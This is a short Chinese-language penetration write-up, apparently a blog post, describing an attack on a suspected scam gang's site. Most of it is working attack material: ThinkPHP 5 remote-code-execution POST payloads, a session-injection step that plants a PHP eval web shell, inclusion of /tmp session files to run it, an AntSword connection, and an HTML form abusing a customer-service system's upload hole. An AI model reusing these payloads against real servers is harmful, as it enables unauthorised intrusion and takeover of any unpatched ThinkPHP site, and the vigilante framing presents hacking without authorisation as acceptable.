最近接到任务,调查一个诈骗团伙
直接先用tp5rce打出phpinfo看
s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
?s=captcha
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid
?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo();
<form action="http://ip/admin/event/uploadimg" method="post" enctype="multipart/form-data">
<label for="file">晨光客服上传</label>
<input type="file" name="editormd-image-file" id="editormd-image-file">
<input type="submit" name="submit" value="submit">
</form>
如果是上传index.php的话
这些诈骗团伙还理直气壮,有理有据,只会叫你越充越多,典型的杀猪盘
渗透总结:
1.注册一个测试账号
2通过报错,发现是tp5.0..10
3.使用TP5RCE查看phpinfo
s=captcha
post:
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
发现危险函数被禁用了
4.使用tp5日志包含和session包含来getshell
5.通过设置session会话并传入一句话木马
?s=captcha
post:
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
6.利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid
?s=captcha
post:
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo();
7.通过蚁剑连上shell,需要把post传入的参数加在蚁剑连接的http body里面
8.通过后台源码查看发现客户服务后台。
9.发现服务后台为爱客服PHP在线客服系统,该系统存在文件上传漏洞
/admin/event/uploadimg
<form action="http://ip/admin/event/uploadimg" method="post" enctype="multipart/form-data">
<label for="file">晨光客服上传</label>
<input type="file" name="editormd-image-file" >
<input type="submit" name="submit" value="submit">
</form>